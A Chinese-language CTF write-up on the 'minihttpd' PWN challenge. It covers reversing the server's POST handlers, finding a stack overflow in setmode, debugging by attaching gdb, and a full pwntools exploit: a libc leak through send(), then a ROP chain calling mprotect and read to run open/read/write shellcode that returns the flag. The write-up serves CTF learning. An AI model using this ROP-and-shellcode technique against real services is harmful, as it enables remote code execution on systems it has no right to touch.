这次PWN终于不是堆了,不喜欢打堆,已经往实战偏了,好兆头。比赛一开始上了内核题和另外一道题,内核没学就没去看了。另外一道题逆了半天又是server又是proxy,没啥思路。
等第二次上题的时候发现有个minihttpd,由于之前学长在新生赛出了一题fruit ninja(这真得感谢学长了),也是关于httpd的,赛后复现了一下对httpd稍微有点了解,所以就直接开看。minihttpd真是酣畅淋漓的逆向和调试,真的牢爽了。
但貌似今年密码题的质量太低了,一共三题,而且还没有格,去年密码貌似强度比较高。
PWN minihttpd(复现) 真是酣畅淋漓的逆向
分析程序1
接下来就是使用IDA pro反编译这个程序。先来查看一下main函数,在main函数这边关键点其实就是在这四个位置中。
其中init_0()这个就是一个开沙箱操作,并且还有设置了三个signal()。
其次mybind()就是正常的绑定端口,这个函数的返回值就是fd文件描述符,这里一般来说是3(但是也说不准)。
再着就是bindurl(),这边详细说明一下bindurl()具体执行什么操作。这个地方就是相当于绑定一个路径,这个路径表明了你使用post方法访问指定的url会执行指定的函数。
分析程序2
在main函数中的最后一个重要函数其实就是多线程创建函数,该函数我们主要在意的就是第三个参数和第四个参数。
创建多线程的第三个参数,这个参数是一个函数指针,指向的是创建一个线程后该线程要执行的函数。
创建多线程的第四个参数,这个参数是一个指针类型,根据上面的内容传递的是,accept()的返回值,即客户端与该程序建立连接后在该程序中指定的一个文件描述符。
接下来就是看多线程函数具体的程序逻辑,这个函数有151行,其中非常多行都是错误处理(算是比较贴近真实的开发了)。因为之前校赛打fruit ninja的时候就逆过httpd的这种程序,所以懂得大概的处理流程。大概的流程如下:
接收请求头,并判断请求头是否合法,有没有什么非法字符。
并判断请求头所使用的方法,如果是GET方法就按照GET方法来处理,就接收一些参数。如果是POST方法就按照POST方法来处理,接收body的长度Content-Length:,以及body的种。类(是正常字符流,还是json格式的,当然这个程序没有接收种类)。
之后就是根据参数和路径判断使用哪些函数来处理,该发送哪些响应回去,该发送哪些资源文件到客户端去,该程序需要执行什么东东。
接下来就是错误处理的部分,以及没有错误的时候具体执行什么。
分析程序3
通过分析GET方法的请求处理,发现GET方法这边没洞
现在需要把重点放在POST方法,以及处理POST方法请求的对应响应函数中。其实就是这四个函数中
在赛中通过调试确定了POST请求方法的具体格式,以路径为hello的POST方法为例子,其实还是没有太在意http请求的细节,导致赛中是边调试边猜才得到正确的请求格式(其实就是web打少了)
1 2 3 4 POST /hello\r\n Content-Length:xx\r\n aaaaa
接下来看看这些函数具体执行什么流程。hellopost()比较简单,就是这个流程。使用POST方法执行流程后就会返回这样的响应
echopost()函数如下,其实就是原封不动的返回用户发送的body数据
接下来就来看getmodepost,其实就是得到modepost的内容
漏洞点
而setmodepost这边这个就是body需要传入格式为setmode=aaaaaaa,其实就是post的传参,并且可以将传入的内容(也就是=后面的字符)写入文件。
成功写入后返回的是200OK的操作
调试程序
接下来就是怎么利用这个栈溢出漏洞的,这必然是需要调试的。那这个httpd怎么进行调试,当然是附加进程调试。调试httpd和平时的程序调试不太一样。这里我选用的一个比较麻烦的方法,就是先在一个终端这边启动这个httdp程序
然后再使用netstat -tulnp查看9999端口对应的进程号
1 2 3 4 pid = 52322 def tiao (): gdb.attach(pid,gdbscript=gdb_script) pause()
这样我再使用remote()创建一个进程作为客户端,就可以正常调试用作服务端的程序了。调试代码是这样的
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 """ 0x0000000000402ff3 : pop rdi ; ret 0x0000000000402ff1 : pop rsi ; pop r15 ; ret libc本地: 0x000000000011f357 : pop rdx ; pop r12 ; ret libc远程: 0x000000000015fae6 : pop rdx ; pop rbx ; ret """ from pwn import *ip = '127.0.0.1' port = 9999 libc = ELF('/lib/x86_64-linux-gnu/libc.so.6' ) context.log_level = 'debug' context.arch = 'amd64' gdb_script = """ b *0x402B5A """ pid = 52322 def tiao (): gdb.attach(pid,gdbscript=gdb_script) pause() def hello (context ): body = b"POST /hello\r\n" body += b"Content-Length:" +str (len (context)).encode()+b"\r\n" p.sendline(body) p.send(context) def echo (context ): body = b"POST /echo\r\n" body += b"Content-Length:" +str (len (context)).encode()+b"\r\n" p.sendline(body) sleep(0.1 ) p.send(context) def setmode (context ): """ 要求setmode格式, setmode=xxx """ body = b"POST /setmode\r\n" body += b"Content-Length:" +str (len (context)).encode()+b"\r\n\r\n" p.send(body) pause() p.send(context) def getmode (context ): """ 要求只能输入getmode """ body = b"POST /getmode\r\n" body += b"Content-Length:" +str (len (context)).encode()+b"\r\n" p.sendline(body) p.send(context) tiao() p = remote(ip,port) getmode(b'getmode' ) p.interactive()
注意:使用该方法调试的缺点就是程序崩溃一次就要重新启动pid,还需要重新查看和修改pid的值。
思路与利用点
我的思路是这样的:
使用send泄露libc的地址,将程序跳转到main函数中再执行一次。首次连接的时候fd=4,其他时候连接的fd未知。此时这个fd还在保持着。由于服务端进程没死,libc的地址不变。
直接再连接一次,通过调试确定第二个客服端连接时在服务端所指示的fd的值。
调用mprotect,然后写shellcode实现orw。
但是实际上一开始使用send是能稳定将libc输出出来的,但是不知道是怎么回事,调试到后面就一直泄露不了libc的地址。(然后远程打了也泄露不出来)
赛后问了一下其他师傅(wp截止提交之后):发现可以利用读mode.txt和写mode.txt将libc给泄露出来。这个到时候之后再看看。
现在赛后复现按照我的思路又能稳定泄露libc了。这里留个疑问 ,感觉是程序调试太多了,fd指针对应到内核的某个数据不够用了???
接下来完成我的思路剩下部分再来探究其他的解法,通过调试发现第二次客户端连接的时候fd=7,那orw的时候fd=7
修改后再来调试一次,调试的时候发现shellcode没写进去,通过调试发现rop布置的有点问题。
调试之后发现本地是能成功的,不使用gdb调试正常打也可以出来。现在就剩尝试远程的了。
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 from pwn import *ip = '127.0.0.1' port = 9999 libc = ELF('/lib/x86_64-linux-gnu/libc.so.6' ) context.log_level = 'debug' context.arch = 'amd64' gdb_script = """ b *0x402B5A """ pid = 67510 def tiao (): gdb.attach(pid,gdbscript=gdb_script) pause() def hello (context ): body = b"POST /hello\r\n" body += b"Content-Length:" +str (len (context)).encode()+b"\r\n" p.sendline(body) p.send(context) def echo (context ): body = b"POST /echo\r\n" body += b"Content-Length:" +str (len (context)).encode()+b"\r\n" p.sendline(body) sleep(0.1 ) p.send(context) def setmode (context ): """ 要求setmode格式, setmode=xxx """ body = b"POST /setmode\r\n" body += b"Content-Length:" +str (len (context)).encode()+b"\r\n\r\n" p.send(body) pause() p.send(context) def getmode (context ): """ 要求只能输入getmode """ body = b"POST /getmode\r\n" body += b"Content-Length:" +str (len (context)).encode()+b"\r\n" p.sendline(body) p.send(context) """ 0x0000000000402ff3 : pop rdi ; ret 0x0000000000402ff1 : pop rsi ; pop r15 ; ret """ """ libc本地: 0x000000000011f357 : pop rdx ; pop r12 ; ret libc远程: 0x000000000015fae6 : pop rdx ; pop rbx ; ret """ p = remote(ip,port) pop_rdi = 0x402ff3 pop_rsi_r15 = 0x402ff1 ret = 0x40101a payload = b'setmode=' +b'a' *0x448 payload += p64(pop_rdi) payload += p64(4 ) payload += p64(pop_rsi_r15) payload += p64(0x405F10 ) payload += p64(0 ) payload += p64(0x401414 ) payload += p64(ret) payload += p64(0x402E1E ) setmode(payload) leak = p.recvuntil(b'\x7f' )[-6 :] send_addr = u64(leak.ljust(8 ,b'\x00' )) libc_base = send_addr - libc.sym['send' ] print ('[+]leak:' ,leak)print ('[+]libc_base:' ,hex (libc_base))pop_rdx = 0x11f357 + libc_base mprotect = libc_base + libc.sym['mprotect' ] read = libc_base + libc.sym['read' ] p.interactive() pause() p = remote(ip,port) payload = b'setmode=' +b'a' *0x448 + p64(pop_rdi) payload += p64(0x406000 ) payload += p64(pop_rsi_r15) payload += p64(0x1000 ) payload += p64(0 ) payload += p64(pop_rdx) payload += p64(7 ) payload += p64(0 ) payload += p64(mprotect) payload += p64(pop_rdi) payload += p64(7 ) payload += p64(pop_rsi_r15) payload += p64(0x406000 ) payload += p64(0 ) payload += p64(pop_rdx) payload += p64(0x100 ) payload += p64(0 ) payload += p64(read) payload += p64(0x406000 ) setmode(payload) shellcode = shellcraft.open ('./flag' ,0 ) shellcode += shellcraft.read('rax' ,0x406100 ,0x50 ) shellcode += shellcraft.write(7 ,0x406100 ,0x50 ) shellcode = asm(shellcode) pause() p.send(shellcode) p.interactive()
Crypto